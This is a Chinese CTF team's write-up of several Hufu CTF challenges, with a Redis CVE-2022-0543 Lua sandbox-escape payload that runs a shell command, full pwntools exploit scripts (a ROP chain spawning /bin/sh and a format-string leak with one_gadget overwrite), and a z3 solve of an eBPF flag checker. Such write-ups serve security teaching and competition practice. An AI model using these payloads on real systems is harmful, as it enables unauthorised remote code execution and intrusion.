Misc
Check in
公众号直接看 HFCTF{a33db7b4-50ef-4891-b3b3-67476b6e1101}
plain text
base64 后
dOBRO POVALOWATX NA MAT^, WY DOLVNY PEREWESTI TO NA ANGLIJSKIJ QZYK. tWOJ SEKRET SOSTOIT IZ DWUH SLOW. wSE BUKWY STRO^NYE. qBLO^NYJ ARBUZ. vELAEM WAM OTLI^NOGO DNQ.
Quest-Crash
想办法让 redis 崩掉就行,让他同时 SET,GET,FLUSHALL,然后再去请求 GETFLAG,实现方式有很多种,这里直接用 Burp 爆破的。
HFCTF{c0d3735f-4062-4f39-9ad6-9e7df7994dad}
Quest-RCE
CVE-2022-0543
{"query":"INFO n EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /flag_UVEmnDKY4VHyUVRVj46ZeojgfZpxzG", "r"); local res = f:read("*a"); f:close(); return res' 0"}
HFCTF{0cc2d02c-4cfe-4deb-9727-2df97b3e0363}
Pwn
gogogo
第一步是输入 1416925456,进入 1A2B 游戏然后去通关它
存在一个 read 溢出漏洞
EXP
# coding=utf-8
from pwn import *
context.log_level = 'debug'
flag=0
if flag==1:
p=remote("","")
else:
p=process("./gogogo")
s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, ' '))
uu64 = lambda data :u64(data.ljust(8, ' '))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def guessTrainner():
start =time.time()
answerSet=answerSetInit(set())
for i in range(6):
inputStrMax=suggestedNum(answerSet,100)
print('第%d步----' %(i+1))
print('尝试:' +inputStrMax)
print('----')
AMax,BMax = compareAnswer(inputStrMax)
print('反馈:%dA%dB' % (AMax, BMax))
print('----')
print('排除可能答案:%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))
answerSetUpd(answerSet,inputStrMax,AMax,BMax)
if AMax==4:
elapsed = (time.time() - start)
print("猜数字成功,总用时:%f秒,总步数:%d。" %(elapsed,i+1))
break
elif i==5:
print("猜数字失败!")
def compareAnswer(inputStr):
inputStr1 = inputStr[0]+' '+inputStr[1]+' '+inputStr[2]+' '+inputStr[3]
p.sendline(inputStr1)
ru('n')
tmp = p.recvuntil('B',timeout=0.5)
# print(tmp)
if tmp == '':
return 4,4
tmp = tmp.split("A")
A = tmp[0]
B = tmp[1].split('B')[0]
return int(A),int(B)
def compareAnswer1(inputStr,answerStr):
A=0
B=0
for j in range(4):
if inputStr[j]==answerStr[j]:
A+=1
else:
for k in range(4):
if inputStr[j]==answerStr[k]:
B+=1
return A,B
def answerSetInit(answerSet):
answerSet.clear()
for i in range(1234,9877):
seti=set(str(i))
if len(seti)==4 and seti.isdisjoint(set('0')):
answerSet.add(str(i))
return answerSet
def answerSetUpd(answerSet,inputStr,A,B):
answerSetCopy=answerSet.copy()
for answerStr in answerSetCopy:
A1,B1=compareAnswer1(inputStr,answerStr)
if A!=A1 or B!=B1:
answerSet.remove(answerStr)
def answerSetDelNum(answerSet,inputStr,A,B):
i=0
for answerStr in answerSet:
A1, B1 = compareAnswer1(inputStr, answerStr)
if A!=A1 or B!=B1:
i+=1
return i
def suggestedNum(answerSet,lvl):
suggestedNum=''
delCountMax=0
if len(answerSet) > lvl:
suggestedNum = list(answerSet)[0]
else:
for inputStr in answerSet:
delCount = 0
for answerStr in answerSet:
A,B = compareAnswer1(inputStr, answerStr)
delCount += answerSetDelNum(answerSet, inputStr,A,B)
if delCount > delCountMax:
delCountMax = delCount
suggestedNum = inputStr
if delCount == delCountMax:
if suggestedNum == '' or int(suggestedNum) > int(inputStr):
suggestedNum = inputStr
return suggestedNum
p.recvuntil("PLEASE INPUT A NUMBER:")
p.sendline("1717986918")
p.recvuntil("PLEASE INPUT A NUMBER:")
p.sendline("1234")
p.recvuntil("YOU HAVE SEVEN CHANCES TO GUESS")
guessTrainner()
sa("AGAIN OR EXIT?","exit")
sla("(4) EXIT","4")
pay="/bin/shx00"+"a"*(0x458)+p64(0x405b78)+p64(0x405b78)+p64(0x45cbe4)+p64(0x45afa8)+p64(0)+'/bin/shx00'+p64(0x45bcbc)+p64(0x405b78)+p64(59)+p64(0x45C849)
sa("ARE YOU SURE?",pay)
#sla("OKAY YOU CAN LEAVE YOUR NAME AND BYE~",payload)
p.interactive()
babygame
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *
#p=process('./1')
p=remote('120.25.205.249',38091)
#p=process(['./1'],env={'LD_PRELOAD':'./libc-2.27_64.so'})
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('libc-2.31.so')
lib=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
def debug():
gdb.attach(p)
pause()
def lg(name,val):
log.success(name+' : '+hex(val))
lib.srand(0x1111111111111111)
p.recvuntil(':')
p.send(0x109*'x11')
p.recvuntil(0x109*'x11')
canary=u64(p.recv(7).rjust(8,b'x00'))
stack=u64(p.recv(6).ljust(8,b'x00'))
lg('canary',canary)
lg('stack',stack)
#debug()
answer=0
#p.interactive()
for i in range(100):
p.recvuntil(':')
num=lib.rand()%3
if num==0:
answer=1
if num==1:
answer=2
if num==2:
answer=0
#if i==99:
#debug()
p.sendline(str(answer))
#p.interactive()
#p.interactive()
context.log_level='debug'
p.recvuntil('you.')
payload=b'%62c%9$hhnaaaaaa'+b'aaa%27$p'+p64(stack-536)
#debug()
#payload=fmtstr_payload(6,{stack-536:0x3e})
p.sendline(payload)
#p.interactive()
p.recvuntil('0x')
libc.address=int(p.recv(12),16)-20-libc.sym['atoi']
lg('libc.address',libc.address)
#debug()
og=[0xe3b2e,0xe3b31,0xe3b34,0xe3d23,0xe3d26]
#writes = {stack-536: libc.sym['realloc'],
# libc.sym['__realloc_hook']: og[0]+libc.address}
writes={stack-536:og[1]+libc.address}
payload=fmtstr_payload(6,writes)
p.sendline(payload)
p.interactive()
HFCTF{c988e4f3-b8a6-4c6f-845e-00b2b532bb78}
Reverse
fpbe
google 搜索了一下,了解 bpf 这种机制,学习了一下 bpftool 的使用 阅读 ida 反编译输出
int __cdecl main(int argc, const char **argv, const char **envp)
{
//...
if ( argc == 2 )
{
array = (unsigned int *)argv[1];
libbpf_set_print((libbpf_print_fn_t)libbpf_print);
bump_memlock_rlimit();
skel = fpbe_bpf__open_and_load(); // 这里加载了内核模块
if ( skel )
{
base_addr = get_base_addr();
if ( base_addr >= 0 )
{
skel->links.uprobe = bpf_program__attach_uprobe( // hook uprobed_function入口
skel->progs.uprobe,
0,
0,
"/proc/self/exe",
(size_t)uprobed_function - base_addr);
err = libbpf_get_error(skel->links.uprobe);
if ( err )
{
fprintf((__int64)stderr, (__int64)"Failed to attach uprobe: %dn", err);
}
else
{
puts(
"Successfully started! Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` to see output of the BPF programs.");
err = uprobed_function(*array, array[1], array[2], array[3]); // 这里是sha256比对,但是被内核模块hook了
*(_QWORD *)flag = 0LL;
*(_QWORD *)&flag[8] = 0LL;
flag[16] = 0;
*(_QWORD *)flag = *array;
*(_DWORD *)&flag[4] = array[1];
*(_QWORD *)&flag[8] = array[2];
*(_DWORD *)&flag[12] = array[3];
if ( err == 1 )
printf((__int64)"flag: HFCTF{%s}n", flag);
else
puts("not flag");
}
}
else
{
fwrite("Failed to determine process's load addressn", 1LL, 43LL, stderr);
err = base_addr;
}
fpbe_bpf__destroy(skel);
result = -err;
}
else
{
fwrite("Failed to open and load BPF skeletonn", 1LL, 37LL, stderr);
result = 1;
}
}
else
{
fwrite("Usage: sudo ./fpbe <flag>n", 1LL, 26LL, stderr);
result = 1;
}
return result;
}
了解大概流程后,使用 gdb 调试起来,断点打在输出 Successfully started! Please run sudo cat /sys/kernel/debug/tracing/trace_pipe
to see output of the BPF programs.后,因为这里刚好成功加载模块 使用 bpftool dump 一下
0: (79) r2 = *(u64 *)(r1 +104)
1: (67) r2 <<= 32
2: (77) r2 >>= 32
3: (79) r3 = *(u64 *)(r1 +112)
4: (67) r3 <<= 32
5: (77) r3 >>= 32
6: (bf) r4 = r3
7: (27) r4 *= 28096
8: (bf) r5 = r2
9: (27) r5 *= 64392
10: (0f) r5 += r4
11: (79) r4 = *(u64 *)(r1 +96)
12: (67) r4 <<= 32
13: (77) r4 >>= 32
14: (bf) r0 = r4
15: (27) r0 *= 29179
16: (0f) r5 += r0
17: (79) r1 = *(u64 *)(r1 +88)
18: (b7) r0 = 0
19: (73) *(u8 *)(r10 -8) = r0
20: (7b) *(u64 *)(r10 -16) = r0
21: (7b) *(u64 *)(r10 -24) = r0
22: (67) r1 <<= 32
23: (77) r1 >>= 32
24: (bf) r0 = r1
25: (27) r0 *= 52366
26: (0f) r5 += r0
27: (b7) r6 = 1
28: (18) r0 = 0xbe18a1735995
30: (5d) if r5 != r0 goto pc+66
31: (bf) r5 = r3
32: (27) r5 *= 61887
33: (bf) r0 = r2
34: (27) r0 *= 27365
35: (0f) r0 += r5
36: (bf) r5 = r4
37: (27) r5 *= 44499
38: (0f) r0 += r5
39: (bf) r5 = r1
40: (27) r5 *= 37508
41: (0f) r0 += r5
42: (18) r5 = 0xa556e5540340
44: (5d) if r0 != r5 goto pc+52
45: (bf) r5 = r3
46: (27) r5 *= 56709
47: (bf) r0 = r2
48: (27) r0 *= 32808
49: (0f) r0 += r5
50: (bf) r5 = r4
51: (27) r5 *= 25901
52: (0f) r0 += r5
53: (bf) r5 = r1
54: (27) r5 *= 59154
55: (0f) r0 += r5
56: (18) r5 = 0xa6f374484da3
58: (5d) if r0 != r5 goto pc+38
59: (bf) r5 = r3
60: (27) r5 *= 33324
61: (bf) r0 = r2
62: (27) r0 *= 51779
63: (0f) r0 += r5
64: (bf) r5 = r4
65: (27) r5 *= 31886
66: (0f) r0 += r5
67: (bf) r5 = r1
68: (27) r5 *= 62010
69: (0f) r0 += r5
70: (18) r5 = 0xb99c485a7277
72: (5d) if r0 != r5 goto pc+24
73: (63) *(u32 *)(r10 -12) = r1
74: (63) *(u32 *)(r10 -16) = r4
75: (63) *(u32 *)(r10 -20) = r2
76: (63) *(u32 *)(r10 -24) = r3
77: (18) r1 = 0xa7d73257b465443
79: (7b) *(u64 *)(r10 -40) = r1
80: (18) r1 = 0x4648203a47414c46
82: (7b) *(u64 *)(r10 -48) = r1
83: (18) r1 = 0x2052554f59202145
85: (7b) *(u64 *)(r10 -56) = r1
86: (18) r1 = 0x4e4f44204c4c4557
88: (7b) *(u64 *)(r10 -64) = r1
89: (b7) r6 = 0
90: (73) *(u8 *)(r10 -32) = r6
91: (bf) r1 = r10
92: (07) r1 += -64
93: (bf) r3 = r10
94: (07) r3 += -24
95: (b7) r2 = 33
96: (85) call bpf_trace_printk#-60976
97: (bf) r0 = r6
98: (95) exit
源码不是很麻烦,z3 一把梭~
from z3 import *
from Crypto.Util.number import long_to_bytes
a,b,c,d=BitVec('a',64),BitVec('b',64),BitVec('c',64),BitVec('d',64)
s=Solver()
s.add(0xbe18a1735995==c*64392+d*28096+b*29179+a*52366)
s.add(0xa556e5540340==d*61887+c*27365+b*44499+a*37508)
s.add(0xa6f374484da3==d*56709+c*32808+b*25901+a*59154)
s.add(0xb99c485a7277==d*33324+c*51779+b*31886+a*62010)
def get_long(m,a):
l=m[a].as_long()
print(hex(l))
return long_to_bytes(l)[::-1]
if s.check()==sat:
m=s.model()
s=b''
for i in [d,c,b,a]: # 反向传参
s+=get_long(m,i)
print(s)
flag:0vR3sAlbs8pD2h53
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):虎符-WriteUp